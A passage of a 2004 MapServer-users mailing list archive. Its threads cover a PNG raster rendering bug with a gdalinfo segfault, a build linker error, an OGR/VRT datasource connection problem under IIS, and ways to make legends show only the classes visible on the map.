> 2MB.
>
> Anyone seen anything like this?  It's purty, but it ain't gunna cut it.
>
> MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ
> SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT INPUT=EPPL7
> INPUT=JPEG INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE
>
> gdal-1.1.8 (plain ./configure)
>
>   EXTENT -125 -5 -45 55
>   SIZE 880 660
>   IMAGETYPE PNG  # I've also tried RGBA w/ TRANSPARENCY ON
>
> The PROJECTIONs are the same.  Also tried stripping out everything
> (including projections) but the raster layer.  Same results.
>
> Aha!  I just ran a gdalinfo, and I get a seg fault.  Anyone mind
> checking it out?  Original raster (non-transparent) is here:
> http://nautilus.baruch.sc.edu/~cpurvis/.
>
> I don't think the file is corrupt since it displays OK in Photoshop, and
> ImageMagick is OK w/ it, too.
>
> Thanks,
>
> Charlton
>
>
>
>
> Charlton Purvis
> (803) 777-8858 : voice
> (803) 777-3935 : fax
> cpurvis at sc.edu
>
> Baruch Institute
> University of South Carolina
> Columbia, SC 29208
>
>


From cpurvis at asg.sc.edu  Thu Jan 29 16:18:15 2004
From: cpurvis at asg.sc.edu (Charlton Purvis)
Date: Thu, 29 Jan 2004 19:18:15 -0500
Subject: [Mapserver-users] bizarre raster output
Message-ID: 

That's spectacular, Perry!  I'll look into libpng stats.  I can't
remember what I have offhand.  Then look for cvs gdal if necessary.

Infinite thanks!!!

Charlton

> -----Original Message-----
> From: Pericles Nacionales [mailto:nacional at cbs.umn.edu]
> Sent: Thursday, January 29, 2004 7:16 PM
> To: Charlton Purvis
> Cc: mapserver-users at lists.gis.umn.edu; Brock Murch; Jeremy Cothran
> Subject: Re: [Mapserver-users] bizarre raster output
> 
> Charlton,
> 
> Check http://hypnos.cbs.umn.edu/projects/gdal_segfault.html.  Is this
what
> it's supposed to look like?  I'm running MapServer 4.0.1 but compiled
gdal
> from cvs just a couple days ago.  PNG support was compiled using
external
> libpng version 1.2.5.
> 
> You might want to upgrade your libpng.
> 
> -Perry N.
> 
> 
> On Thu, 29 Jan 2004, Charlton Purvis wrote:
> 
> > Hi, folks:
> >
> > I've got a raster .png, 8800 x 6600, complete w/ a working .wld.
The
> > original raster has some color on the left side, and the rest of the
> > image is transparent.
> >
> > I expected to see the Pacific covered by this raster and the rest of
the
> > Eastern part left alone.  But the attached image is what I get.
> > Bizarre.  Is there a max pixel image size?  The entire PNG is a mere
> > 2MB.
> >
> > Anyone seen anything like this?  It's purty, but it ain't gunna cut
it.
> >
> > MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP
SUPPORTS=PROJ
> > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT
INPUT=EPPL7
> > INPUT=JPEG INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE
> >
> > gdal-1.1.8 (plain ./configure)
> >
> >   EXTENT -125 -5 -45 55
> >   SIZE 880 660
> >   IMAGETYPE PNG  # I've also tried RGBA w/ TRANSPARENCY ON
> >
> > The PROJECTIONs are the same.  Also tried stripping out everything
> > (including projections) but the raster layer.  Same results.
> >
> > Aha!  I just ran a gdalinfo, and I get a seg fault.  Anyone mind
> > checking it out?  Original raster (non-transparent) is here:
> > http://nautilus.baruch.sc.edu/~cpurvis/.
> >
> > I don't think the file is corrupt since it displays OK in Photoshop,
and
> > ImageMagick is OK w/ it, too.
> >
> > Thanks,
> >
> > Charlton
> >
> >
> >
> >
> > Charlton Purvis
> > (803) 777-8858 : voice
> > (803) 777-3935 : fax
> > cpurvis at sc.edu
> >
> > Baruch Institute
> > University of South Carolina
> > Columbia, SC 29208
> >
> >



From nacional at cbs.umn.edu  Thu Jan 29 16:24:33 2004
From: nacional at cbs.umn.edu (Pericles Nacionales)
Date: Thu, 29 Jan 2004 18:24:33 -0600 (CST)
Subject: [Mapserver-users] Mapserver build Error!!!
In-Reply-To: <20040129231605.57681.qmail@web20729.mail.yahoo.com>
References: <20040129231605.57681.qmail@web20729.mail.yahoo.com>
Message-ID: 

Are you compiling MapServer 4.0.1 or the nightly?  Did you compile the
GDAL 1.1.9 or a cvs version?  If you are compiling MapServer 4.0.1, use
GDAL 1.1.9 and it should work.  The problem with using the latest GDAL cvs
is that Frank has made new changes that make it not work with MapServer
4.0.1 without updating some of the MapServer source files.  I think
mapdrawgdal.c has changed, among other things.  If you are compiling
MapServer and GDAL from cvs then you might want to update them.

I don't know what you have, I'm just giving you potential answers.

-Perry


On Thu, 29 Jan 2004, teoman teoman wrote:

> Hi  everbody,
>
> I am trying to build the mapserver latest version, but I am getting following error:
>
> $ make
> gcc -O2  -Wall -DIGNORE_MISSING_DATA  -DUSE_EPPL -DUSE_PROJ -DUSE_PROJ_API_H -DU
> SE_WMS_SVR  -DUSE_WFS_SVR    -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -D
> USE_GD_WBMP   -DUSE_OGR -DUSE_GDAL     -I/usr/local/include  -I/usr/local/includ
> e     -I/usr/src/projects/mapservCA/regex-0.12  -I/usr/local/include -I/usr/loca
> l/include      shp2img.o  -L. -lmap -L/usr/local/lib -lgd -ljpeg -lfreetype -L/l
> ib -lpng -L/lib -lz    -ltiff -ljpeg -lfreetype -L/lib -lpng -L/lib -lz   -L/usr
> /local/lib -lproj -ljpeg  -L/usr/local/lib -lgdal.1.1 -L/usr/local/lib -lgdal.1.
> 1        -lm   -o shp2img
> ./libmap.a(mapogr.o)(.text+0xaa8):mapogr.cpp: undefined reference to `___gxx_per
> sonality_sj0'
> ./libmap.a(mapogr.o)(.text+0xbb9):mapogr.cpp: undefined reference to `operator d
> elete(void*)'
> ./libmap.a(mapogr.o)(.text+0xcee):mapogr.cpp: undefined reference to `operator n
> ew(unsigned)'
> ./libmap.a(mapogr.o)(.text+0xdc3):mapogr.cpp: undefined reference to `operator d
> elete(void*)'
> ./libmap.a(mapogr.o)(.text+0xf9b):mapogr.cpp: undefined reference to `___gxx_per
> sonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x1768):mapogr.cpp: undefined reference to `___gxx_pe
> rsonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x2a38):mapogr.cpp: undefined reference to `___gxx_pe
> rsonality_sj0'
> ./libmap.a(mapogr.o)(.text+0x2baf):mapogr.cpp: undefined reference to `operator
> new(unsigned)'
> ./libmap.a(mapogr.o)(.text+0x34d3):mapogr.cpp: undefined reference to `operator
> delete(void*)'
> ./libmap.a(mapogr.o)(.text+0x350d):mapogr.cpp: undefined reference to `operator
> delete(void*)'
> Info: resolving _asStyleLabel by linking to __imp__asStyleLabel (auto-import)
> Info: resolving _asStyleSymbol by linking to __imp__asStyleSymbol (auto-import)
> Info: resolving _asStyleBrush by linking to __imp__asStyleBrush (auto-import)
> Info: resolving _asStylePen by linking to __imp__asStylePen (auto-import)
> collect2: ld returned 1 exit status
> make: *** [shp2img] Error 1
>
> can anybody help please?
> thanks alot in advance..
> --teoman
>
>
> ---------------------------------
> Do you Yahoo!?
> Yahoo! SiteBuilder - Free web site building tool. Try it!


From jvanulde at nrcan.gc.ca  Thu Jan 29 16:21:12 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Thu, 29 Jan 2004 19:21:12 -0500
Subject: [Mapserver-users] OGR unable to access datasource
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B895A7@s5-van1-r1.ess.nrcan.gc.ca>

Actually we have not ruled out whether my version of mapserver supports VRT
or not.  How would I check?  Is there a binary somewhere that supports it
for sure?  I can test that one.

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


> -----Original Message-----
> From: Paul Spencer [mailto:pagameba at magma.ca] 
> Sent: Thursday, January 29, 2004 1:49 PM
> To: Van Ulden, Joost
> Cc: Mapserver-Users at Lists. Gis. Umn. Edu 
> (mapserver-users at lists.gis.umn.edu)
> Subject: Re: [Mapserver-users] OGR unable to access datasource
> 
> 
> I wonder if this could be an IIS issue?  IIS runs as a different user 
> normally, and has considerably reduced privileges in order to 
> block up 
> potential security issues.  Can you possibly set up Apache 
> and try with 
> Apache?  If it works with Apache then we can be sure it is an IIS 
> configuration issue and focus on figuring out why it won't work.
> 
> The other possibility is that your mapserver does not support 
> VRT, did 
> we rule that out yet?
> 
> Paul
> 
> Van Ulden, Joost wrote:
> 
> > Hi Tyler,
> > 
> > Here is the output from ogrinfo.  Looks like its working, however I 
> > still unable to get mapserver to connect.  I have tried putting the 
> >  directly in the mapfile CONNECTION and still get 
> > the same
> > error: 
> > 
> > msDrawMap(): Image handling error. Failed to draw layer named 
> > 'OGRPoints'.
> > msOGRFileOpen(): OGR error. Open failed for OGR connection `
> > ODBC:foo/foo at mydsn,Desc_story Desc_story wkbPoint WGS84 '. 
> File not found or
> > unsupported format. 
> > 
> > Looking forward to your response.
> > 
> > 
> > C:\OpenEV_FW\bin>ogrinfo 
> > C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
> > ERROR 4: Update access not supported for VRT datasources.
> > Had to open data source read-only.
> > INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
> > using driver `VRT' successful.
> > 1: story (Point)
> > 
> > 
> > C:\OpenEV_FW\bin>ogrinfo 
> > C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
> > story ERROR 4: Update access not supported for VRT 
> datasources. Had to open
> > data source read-only.
> > INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
> > using driver `VRT' successful.
> > .
> > .
> > .
> > OGRFeature(story):87
> >   desc_id (String) = 400E2174-65BF-3224-7CEF493349368AE7
> >   group_id (String) = 0
> >   comm_id (String) = DE9E2A07-B0D0-EA24-1BD6282422D24117
> >   user_id (String) = 4A335096-7ADD-419B-9E16-1995F233D3F8
> >   elev (Real) =                  0
> >   units (String) =
> >   rtype (String) =
> >   mu (String) =
> >   ldesc (String) =
> >   min (String) =
> >   lmu (String) =
> >   struct (String) =
> >   txt (String) =
> >   snum (String) =
> >   purp (String) =
> >   sfeat (String) =
> >   azi (Real) =                  0
> >   dip (Real) =                  0
> >   stdesc (String) =
> >   name (String) =
> >   sdesc (String) =
> >   story_x (Real) = -1993136.4272429
> >   story_y (Real) = 471899.80462409
> >   share (Integer) = 0
> >   release (Integer) = 1
> >   date (String) = 2004-01-22 16:08:11.000
> >   POINT (-1993136.427 471899.805 0.000)
> > 
> > ============================================
> > Joost van Ulden
> > Programmer/Analyst
> > Natural Resources Canada / Ressources naturelles Canada Geological 
> > Survey of Canada / Commission geologique du Canada 101 - 605 Robson 
> > Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.)
> > V6B 5J3
> > Office/Bureau:  604.666.7525
> > fax/telecopieur: 604.666.1124
> > jvanulde at nrcan.gc.ca
> > ============================================
> > 
> > 
> > 
> >>-----Original Message-----
> >>From: Tyler Mitchell [mailto:TMitchell at lignum.com]
> >>Sent: Thursday, January 29, 2004 9:46 AM
> >>To: Van Ulden, Joost
> >>Subject: Re: [Mapserver-users] OGR unable to access datasource
> >>
> >>
> >>
> >>
> >>
> >>
> >>
> >>
> >>>  LAYER
> >>>    NAME OGRPoints
> >>>    TYPE POINT
> >>>    CONNECTIONTYPE OGR
> >>>    CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
> >>>    DATA "Desc_story"
> >>>    STATUS default
> >>>    CLASS
> >>>      COLOR 255 0 0
> >>>    END
> >>
> >>I just asked for your layer definition, I see it here in your
> >>old email, so nevermind. Are you sure about the text case for 
> >>the "DATA" parameter?  Send me your output from ogrinfo!
> >>
> > 
> > _______________________________________________
> > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
> > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
> > 
> 
> -- 
>   -----------------------------------------------------------------
> |Paul Spencer                           spencer at dmsolutions.ca    |
> |-----------------------------------------------------------------|
> |Applications & Software Development                              |
> |DM Solutions Group Inc                 http://www.dmsolutions.ca/|
>   -----------------------------------------------------------------
> 


From bjh at globexplorer.com  Thu Jan 29 16:29:56 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Thu, 29 Jan 2004 16:29:56 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
In-Reply-To: <002f01c3e6c5$19eec4d0$2441c180@oce.orst.edu>
References: <002f01c3e6c5$19eec4d0$2441c180@oce.orst.edu>
Message-ID: <4019A584.9060206@globexplorer.com>

This is actually the line I am trying to take right now, after
nothing else worked.

Thanks and best regards,
Jean


Matt Doggett wrote:

>It seems like you could just do some kind of spatial query on your
>"roads" (or land-use) layer based on the map extents. From the query
>determine which classes are present, then modify the class layers
>(dynamically w/ Perl/PHP mapscript of course) based on this information
>before rendering the legend.
>
>MD
>
>  
>
>>-----Original Message-----
>>From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-
>>admin at lists.gis.umn.edu] On Behalf Of Ed McNierney
>>Sent: Thursday, January 29, 2004 2:16 PM
>>To: Martin, Daniel A; Jean-Henry Berevoescu
>>Cc: mapserver-users at lists.gis.umn.edu
>>Subject: RE: [Mapserver-users] Q: Dynamic Legends
>>
>>Daniel -
>>
>>I don't think that's quite the scenario being described.  I have a
>>similar problem that is not soluble AFAIK with current MapServer
>>technology.
>>
>>I have a Land Use map that covers the state with polygons, each of
>>    
>>
>which
>  
>
>>is assigned one of 37 land use codes.  Any given map is unlikely to
>>display more than 3 or 4 different codes, but they all have a legend
>>with 37 entries in it, making the 3 that are actually ON the map hard
>>    
>>
>to
>  
>
>>find.
>>
>>It's not a matter of selecting features by spatial scale, but by
>>selecting legend symbology based on data that is actually in the
>>    
>>
>current
>  
>
>>view frame.
>>
>>	- Ed
>>
>>Ed McNierney
>>President and Chief Mapmaker
>>TopoZone.com / Maps a la carte, Inc.
>>73 Princeton Street, Suite 305
>>North Chelmsford, MA  01863
>>ed at topozone.com
>>(978) 251-4242
>>
>>-----Original Message-----
>>From: Martin, Daniel A [mailto:Daniel.A.Martin at erac.com]
>>Sent: Thursday, January 29, 2004 4:03 PM
>>To: Jean-Henry Berevoescu
>>Cc: mapserver-users at lists.gis.umn.edu
>>Subject: RE: [Mapserver-users] Q: Dynamic Legends
>>
>>I do exactly the same thing.  The way I do it, I have two layers
>>pointing at the same data.  One has only the highway class, and the
>>other has all street types.  But, here's the trick.  Name both layers
>>the SAME exact name.  Now, have the range set where the minscale of the
>>highway layer is the maxscale of the detailed street layer.
>>
>>As the user zooms in and out, MapServer will naturally transition from
>>highways to detailed streets.  However, the legend will show exactly
>>what you are asking for.  And, by naming both layers the same name, the
>>status (on/off) will carry over as the user zooms.  If the highway
>>    
>>
>layer
>  
>
>>was on, the street layer will also be on when the user zooms in.
>>
>>I know it may sound strange, but I promise it works beautifully.
>>
>>-Dan
>>
>>    
>>
>>>-----Original Message-----
>>>From: Jean-Henry Berevoescu [mailto:bjh at globexplorer.com]
>>>Sent: Thursday, January 29, 2004 2:51 PM
>>>To: Martin, Daniel A
>>>Cc: mapserver-users at lists.gis.umn.edu
>>>Subject: Re: [Mapserver-users] Q: Dynamic Legends
>>>
>>>
>>>
>>>No. I have, for example, one of the layers with a number of classes
>>>(say, streets, with each type of street having its own class). In a
>>>certain area, at a certain scale, one could get, for example, only
>>>highways. What I want is to have the legend showing only the
>>>symbols/definitions for what is actually in the map at a certain
>>>moment.
>>>
>>>Jean
>>>
>>>
>>>Martin, Daniel A wrote:
>>>
>>>      
>>>
>>>>Do you mean layers that are on, and within range, but are
>>>>        
>>>>
>>>not visible
>>>      
>>>
>>>>because of your current location?  I don't believe that is possible.
>>>>However, the default is to hide layers that are not visible
>>>>        
>>>>
>>>or have a
>>>      
>>>
>>>>status of OFF.  However, if you have layers that have a status of
>>>>DEFAULT, then those are going to show no matter what.
>>>>
>>>>Am I misunderstanding you?
>>>>
>>>>-Dan
>>>>
>>>>
>>>>
>>>>        
>>>>
>>>>>-----Original Message-----
>>>>>From: mapserver-users-admin at lists.gis.umn.edu
>>>>>[mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of
>>>>>Jean-Henry Berevoescu
>>>>>Sent: Thursday, January 29, 2004 1:16 PM
>>>>>To: mdoggett at coas.oregonstate.edu
>>>>>Cc: mapserver-users at lists.gis.umn.edu
>>>>>Subject: Re: [Mapserver-users] Q: Dynamic Legends
>>>>>
>>>>>
>>>>>
>>>>>I tried that one and all the possible combinations (and their sum).
>>>>>Nothing works.
>>>>>
>>>>>Thanks,
>>>>>Jean
>>>>>
>>>>>
>>>>>Matt Doggett wrote:
>>>>>
>>>>>
>>>>>
>>>>>          
>>>>>
>>>>>>I believe HTML legends will do the trick. In the
>>>>>>
>>>>>>
>>>>>>            
>>>>>>
>>>>>legend_template.html
>>>>>
>>>>>
>>>>>          
>>>>>
>>>>>>file you could specify [leg_class_html opt_flag=12] for
>>>>>>            
>>>>>>
>>>example. see
>>>      
>>>
>>>>>>the HTML legend How-To for more details about the opt_flag
>>>>>>            
>>>>>>
>>>bit mask.
>>>      
>>>
>>>>>>http://mapserver.gis.umn.edu/doc40/html-legend-howto.html
>>>>>>
>>>>>>MD
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>            
>>>>>>
>>>>>>>-----Original Message-----
>>>>>>>From: mapserver-users-admin at lists.gis.umn.edu
>>>>>>>
>>>>>>>
>>>>>>>              
>>>>>>>
>>>>[mailto:mapserver-users-
>>>>
>>>>
>>>>        
>>>>
>>>>>>admin at lists.gis.umn.edu] On Behalf Of Jean-Henry Berevoescu
>>>>>>Sent: Wednesday, January 28, 2004 8:12 PM
>>>>>>To: mapserver-users at lists.gis.umn.edu
>>>>>>Subject: [Mapserver-users] Q: Dynamic Legends
>>>>>>
>>>>>>
>>>>>>Hi,
>>>>>>Is there a way to have the legend dynamically show only
>>>>>>            
>>>>>>
>>>the classes
>>>      
>>>
>>>>>>of
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>            
>>>>>>
>>>>>a
>>>>>
>>>>>
>>>>>
>>>>>
>>>>>          
>>>>>
>>>>>>layer actually
>>>>>>shown in a map (not the whole defined set in the mapfile)?
>>>>>>
>>>>>>Jean
>>>>>>
>>>>>>_______________________________________________
>>>>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>            
>>>>>>
>>>>>
>>>>>
>>>>>          
>>>>>
>>>>_______________________________________________
>>>>Mapserver-users mailing list
>>>>Mapserver-users at lists.gis.umn.edu
>>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>>
>>>>
>>>>
>>>>        
>>>>
>>>      
>>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>
>>
>>_______________________________________________
>>Mapserver-users mailing list
>>Mapserver-users at lists.gis.umn.edu
>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>    
>>
>
>
>  
>



From spencer at dmsolutions.ca  Thu Jan 29 16:37:15 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Thu, 29 Jan 2004 19:37:15 -0500
Subject: [Mapserver-users] OGR unable to access datasource
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B895A7@s5-van1-r1.ess.nrcan.gc.ca>
References: <8AE17DD6AA4FD51191CD0002A551168101B895A7@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: <4019A73B.1070504@magma.ca>

try downloading

http://www2.dmsolutions.ca/netbin/mapserv.zip

I'll leave it there for a couple of days.  Please note that I am not 
supporting this build.

Cheers,

Paul

Van Ulden, Joost wrote:
> Actually we have not ruled out whether my version of mapserver supports VRT
> or not.  How would I check?  Is there a binary somewhere that supports it
> for sure?  I can test that one.
> 
> ============================================
> Joost van Ulden
> Programmer/Analyst
> Natural Resources Canada / Ressources naturelles Canada
> Geological Survey of Canada / Commission geologique du Canada
> 101 - 605 Robson Street / 101 - 605 rue Robson
> Vancouver, B.C. / Vancouver (C.-B.)
> V6B 5J3
> Office/Bureau:  604.666.7525
> fax/telecopieur: 604.666.1124
> jvanulde at nrcan.gc.ca
> ============================================
> 
> 
> 
>>-----Original Message-----
>>From: Paul Spencer [mailto:pagameba at magma.ca] 
>>Sent: Thursday, January 29, 2004 1:49 PM
>>To: Van Ulden, Joost
>>Cc: Mapserver-Users at Lists. Gis. Umn. Edu 
>>(mapserver-users at lists.gis.umn.edu)
>>Subject: Re: [Mapserver-users] OGR unable to access datasource
>>
>>
>>I wonder if this could be an IIS issue?  IIS runs as a different user 
>>normally, and has considerably reduced privileges in order to 
>>block up 
>>potential security issues.  Can you possibly set up Apache 
>>and try with 
>>Apache?  If it works with Apache then we can be sure it is an IIS 
>>configuration issue and focus on figuring out why it won't work.
>>
>>The other possibility is that your mapserver does not support 
>>VRT, did 
>>we rule that out yet?
>>
>>Paul
>>
>>Van Ulden, Joost wrote:
>>
>>
>>>Hi Tyler,
>>>
>>>Here is the output from ogrinfo.  Looks like its working, however I 
>>>still unable to get mapserver to connect.  I have tried putting the 
>>> directly in the mapfile CONNECTION and still get 
>>>the same
>>>error: 
>>>
>>>msDrawMap(): Image handling error. Failed to draw layer named 
>>>'OGRPoints'.
>>>msOGRFileOpen(): OGR error. Open failed for OGR connection `
>>>ODBC:foo/foo at mydsn,Desc_story Desc_story wkbPoint WGS84 '. 
>>
>>File not found or
>>
>>>unsupported format. 
>>>
>>>Looking forward to your response.
>>>
>>>
>>>C:\OpenEV_FW\bin>ogrinfo 
>>>C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
>>>ERROR 4: Update access not supported for VRT datasources.
>>>Had to open data source read-only.
>>>INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
>>>using driver `VRT' successful.
>>>1: story (Point)
>>>
>>>
>>>C:\OpenEV_FW\bin>ogrinfo 
>>>C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
>>>story ERROR 4: Update access not supported for VRT 
>>
>>datasources. Had to open
>>
>>>data source read-only.
>>>INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
>>>using driver `VRT' successful.
>>>.
>>>.
>>>.
>>>OGRFeature(story):87
>>>  desc_id (String) = 400E2174-65BF-3224-7CEF493349368AE7
>>>  group_id (String) = 0
>>>  comm_id (String) = DE9E2A07-B0D0-EA24-1BD6282422D24117
>>>  user_id (String) = 4A335096-7ADD-419B-9E16-1995F233D3F8
>>>  elev (Real) =                  0
>>>  units (String) =
>>>  rtype (String) =
>>>  mu (String) =
>>>  ldesc (String) =
>>>  min (String) =
>>>  lmu (String) =
>>>  struct (String) =
>>>  txt (String) =
>>>  snum (String) =
>>>  purp (String) =
>>>  sfeat (String) =
>>>  azi (Real) =                  0
>>>  dip (Real) =                  0
>>>  stdesc (String) =
>>>  name (String) =
>>>  sdesc (String) =
>>>  story_x (Real) = -1993136.4272429
>>>  story_y (Real) = 471899.80462409
>>>  share (Integer) = 0
>>>  release (Integer) = 1
>>>  date (String) = 2004-01-22 16:08:11.000
>>>  POINT (-1993136.427 471899.805 0.000)
>>>
>>>============================================
>>>Joost van Ulden
>>>Programmer/Analyst
>>>Natural Resources Canada / Ressources naturelles Canada Geological 
>>>Survey of Canada / Commission geologique du Canada 101 - 605 Robson 
>>>Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.)
>>>V6B 5J3
>>>Office/Bureau:  604.666.7525
>>>fax/telecopieur: 604.666.1124
>>>jvanulde at nrcan.gc.ca
>>>============================================
>>>
>>>
>>>
>>>
>>>>-----Original Message-----
>>>>From: Tyler Mitchell [mailto:TMitchell at lignum.com]
>>>>Sent: Thursday, January 29, 2004 9:46 AM
>>>>To: Van Ulden, Joost
>>>>Subject: Re: [Mapserver-users] OGR unable to access datasource
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>
>>>>> LAYER
>>>>>   NAME OGRPoints
>>>>>   TYPE POINT
>>>>>   CONNECTIONTYPE OGR
>>>>>   CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
>>>>>   DATA "Desc_story"
>>>>>   STATUS default
>>>>>   CLASS
>>>>>     COLOR 255 0 0
>>>>>   END
>>>>
>>>>I just asked for your layer definition, I see it here in your
>>>>old email, so nevermind. Are you sure about the text case for 
>>>>the "DATA" parameter?  Send me your output from ogrinfo!
>>>>
>>>
>>>_______________________________________________
>>>Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu
>>>http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>>>
>>
>>-- 
>>  -----------------------------------------------------------------
>>|Paul Spencer                           spencer at dmsolutions.ca    |
>>|-----------------------------------------------------------------|
>>|Applications & Software Development                              |
>>|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
>>  -----------------------------------------------------------------
>>
> 
> 

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From jvanulde at nrcan.gc.ca  Thu Jan 29 17:04:57 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Thu, 29 Jan 2004 20:04:57 -0500
Subject: [Mapserver-users] OGR unable to access datasource & Paul Spen
 cer is a GOD!
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B895A8@s5-van1-r1.ess.nrcan.gc.ca>

Thank you Paul!  Everything works fine now.

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


> -----Original Message-----
> From: Paul Spencer [mailto:pagameba at magma.ca] 
> Sent: Thursday, January 29, 2004 4:37 PM
> To: Van Ulden, Joost
> Cc: Mapserver-Users at Lists. Gis. Umn. Edu 
> (mapserver-users at lists.gis.umn.edu)
> Subject: Re: [Mapserver-users] OGR unable to access datasource
> 
> 
> try downloading
> 
> http://www2.dmsolutions.ca/netbin/mapserv.zip
> 
> I'll leave it there for a couple of days.  Please note that I am not 
> supporting this build.
> 
> Cheers,
> 
> Paul
> 
> Van Ulden, Joost wrote:
> > Actually we have not ruled out whether my version of mapserver 
> > supports VRT or not.  How would I check?  Is there a binary 
> somewhere 
> > that supports it for sure?  I can test that one.
> > 
> > ============================================
> > Joost van Ulden
> > Programmer/Analyst
> > Natural Resources Canada / Ressources naturelles Canada Geological 
> > Survey of Canada / Commission geologique du Canada 101 - 605 Robson 
> > Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.)
> > V6B 5J3
> > Office/Bureau:  604.666.7525
> > fax/telecopieur: 604.666.1124
> > jvanulde at nrcan.gc.ca
> > ============================================
> > 
> > 
> > 
> >>-----Original Message-----
> >>From: Paul Spencer [mailto:pagameba at magma.ca]
> >>Sent: Thursday, January 29, 2004 1:49 PM
> >>To: Van Ulden, Joost
> >>Cc: Mapserver-Users at Lists. Gis. Umn. Edu 
> >>(mapserver-users at lists.gis.umn.edu)
> >>Subject: Re: [Mapserver-users] OGR unable to access datasource
> >>
> >>
> >>I wonder if this could be an IIS issue?  IIS runs as a 
> different user
> >>normally, and has considerably reduced privileges in order to 
> >>block up 
> >>potential security issues.  Can you possibly set up Apache 
> >>and try with 
> >>Apache?  If it works with Apache then we can be sure it is an IIS 
> >>configuration issue and focus on figuring out why it won't work.
> >>
> >>The other possibility is that your mapserver does not support
> >>VRT, did 
> >>we rule that out yet?
> >>
> >>Paul
> >>
> >>Van Ulden, Joost wrote:
> >>
> >>
> >>>Hi Tyler,
> >>>
> >>>Here is the output from ogrinfo.  Looks like its working, however I
> >>>still unable to get mapserver to connect.  I have tried 
> putting the 
> >>> directly in the mapfile CONNECTION and 
> still get 
> >>>the same
> >>>error: 
> >>>
> >>>msDrawMap(): Image handling error. Failed to draw layer named
> >>>'OGRPoints'.
> >>>msOGRFileOpen(): OGR error. Open failed for OGR connection `
> >>>ODBC:foo/foo at mydsn,Desc_story Desc_story wkbPoint WGS84 '. 
> >>
> >>File not found or
> >>
> >>>unsupported format.
> >>>
> >>>Looking forward to your response.
> >>>
> >>>
> >>>C:\OpenEV_FW\bin>ogrinfo
> >>>C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
> >>>ERROR 4: Update access not supported for VRT datasources.
> >>>Had to open data source read-only.
> >>>INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
> >>>using driver `VRT' successful.
> >>>1: story (Point)
> >>>
> >>>
> >>>C:\OpenEV_FW\bin>ogrinfo
> >>>C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf
> >>>story ERROR 4: Update access not supported for VRT 
> >>
> >>datasources. Had to open
> >>
> >>>data source read-only.
> >>>INFO: Open of `C:\inetpub\wwwroot\MS_DEMO\mapserver\data\ogr.ovf'
